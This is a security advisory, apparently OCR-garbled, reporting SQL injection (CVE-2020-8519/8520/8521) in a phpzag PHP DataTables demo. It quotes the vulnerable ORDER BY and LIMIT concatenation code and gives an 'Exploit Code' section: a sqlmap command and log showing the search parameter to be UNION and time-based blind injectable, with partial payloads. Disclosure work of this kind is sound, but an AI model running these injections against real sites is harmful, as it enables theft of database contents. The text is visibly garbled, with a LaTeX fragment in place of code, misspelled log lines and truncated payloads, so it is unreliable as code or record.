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Advisory #: 213
Title: SQL Injection in search field of phpzag live add edit delete data tables records with ajax php mysql
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Date: 2020-05-19
CVE-ID:[CVE-2020-8519][CVE-2020-8520][CVE-2020-8521]
CWE:
Download Site: https://www.phpzag.com/live-add-edit-delete-datatables-records-with-ajax-php-mysql/
Vendor: PHPZAG
Vendor Notified: 2020-05-19
Vendor Contact:
Advisory: http://www.vapidlabs.com/advisory.php?v=213
Description: DataTables is a jQuery JavaScript library to convert simple HTML tables to dynamic feature-rich tables. The jQuery DataTables are very user friendly to list records
with live add, edit, delete records without page refresh. Due to this, DataTables used widely in web applications to list records
There is SQL injection in the search function in Records.php:
CVE-2020-8519 SQL injection in search parameter:
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CVE-2020-8520 SQL Injection in line 29 with 'order' and 'column' parameter:
                                        if(!empty($_POST["order"])){
                                                    $qlQuery .= 'ORDER BY '.$_POST['order']['0']['column'].' '.$_POST['order']['0']['dir'].' ';
 29
  30
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                                                    $sqlQuery .= 'ORDER BY id DESC ';
CVE-2020-8521 SQL Injection line 35 with 'start' and 'length' parameters:
                                     \label{eq:continuity} \begin{split} & if (\$\_POST["length"] != -1) \{ \\ & \$sqlQuery .= 'LIMIT' . \$\_POST['start'] . ',' . \$\_POST['length']; \end{split}
 34
  35
 36
Export: JSON TEXT XML
Exploit Code:
     1. $ sqlmap -u "http://192.168.0.149/live-add-edit-delete-datatables-php-mysql-demo/ajax action.php" --data "draw=153&columns[0] [data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][search] [regex]=false&columns[1][data]=l&columns[1][name]=&columns[1][search] [regex]=false&columns[1][search] [regex]=false&columns[2][search] [regex]=false&columns[2][search] [regex]=false&columns[2][search] [regex]=false&columns[2][search] [regex]=false&columns[3][name]=&columns[3][name]=&columns[3][name]=&columns[3][name]=&columns[3][search] [regex]=false&columns[3][name]=&columns[4][search] [regex]=false&columns[4][search] [regex]=false&columns[4][search] [regex]=false&columns[4][search] [regex]=false&columns[4][search] [regex]=false&columns[4][search] [regex]=false&columns[5][search] [regex]=false&columns[6][search] 
                {1.1#stable}
                                                                                                        http://sglmap.org
                 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
                  this program
    10.
                 [*] starting at 10:38:51
                 [10:38:52] [INFO] testing connection to the target URL [10:38:52] [INFO] testing if the target URL is stable [10:38:53] [INFO] target URL is stable
 14. [10:38:52] [INFO] testing if the target URL is stable
15. [10:38:53] [INFO] trapet URL is stable
16. [10:38:53] [INFO] trapet URL is stable
17. [10:38:53] [INFO] testing for SQL injection on POST parameter 'search[value]' might not be injectable
17. [10:38:53] [INFO] testing for SQL injection on POST parameter 'search[value]'
18. [10:38:53] [INFO] testing 'ABD boolean-based blind - WHERE or HAVING clause (Generic comment)'
19. [10:38:56] [INFO] testing 'Boolean-based blind - WHERE or HAVING clause (Generic comment)'
20. [10:38:56] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
21. [10:38:56] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
22. [10:38:57] [INFO] testing 'MySQL > 5.0 boolean-based blind - Parameter replace'
23. [10:38:57] [INFO] testing 'MySQL > 5.0 boolean-based blind - Parameter replace'
24. [10:38:57] [INFO] testing 'MySQL > 5.0 boolean-based blind - Parameter replace'
25. [10:38:58] [INFO] testing 'MySQL > 5.0 boolean-based blind - Parameter replace'
26. [10:38:58] [INFO] testing 'MySQL > 5.0 boolean-based blind - Parameter replace'
27. [10:38:58] [INFO] testing 'MySQL > 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
28. [10:38:58] [INFO] testing 'MySQL > 5.0 boolean-based WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
29. [10:38:59] [INFO] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
29. [10:38:59] [INFO] testing 'MySQL > 5.0 error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
30. [10:39:00] [INFO] testing 'MySQL > 5.0 error-based - PROEDEUR RANALTSE (EXTRACTVALUE)'
31. [10:39:00] [INFO] testing 'MySQL > 5.0 error-based - PROEDEUR RANALTSE (EXTRACTVALUE)'
32. [10:39:00] [INFO] testing 'MySQL > 5.0 error-based - PROEDEUR RANALTSE (EXTRACTVALUE)'
33. [10:39:00] [INFO] testing 'MySQL > 5.0 error-based - BROEDEUR RANALTSE (EXTRACTVALUE)'
34. [10:39:00] [INFO] testing 'MySQL > 5.0 all stacked queries (comment)'
35. [10:39:00] [INFO] testing 'MySQL > 5.0 all stacked queries (com
   40. [10:40:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least technique found
41. [10:40:00] [INFO] target URL appears to be UNION injectable with 6 columns
42. [10:40:00] [INFO] POST parameter 'search[value]' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
43. POST parameter 'search[value]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
44. sqlmap identified the following injection point(s) with a total of 203 HTTP(s) requests:
    45.
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Parameter: search[value] (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: draw=153&columns[0][data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][search][search][search][value]=&columns[1][search][search][search][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2][search][value]=&columns[3][search][value]=&columns[2][search][

46. Parameter: search[value] (POST)

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[value]=&columns[5][search][regex]=false&columns[6][data]=&columns[6][name]=&columns[6][searchable]=true&columns[7][name]=&columns[7][searchable]=true&columns[7][orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&columns[7][searc
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## Screen Shots:

Notes: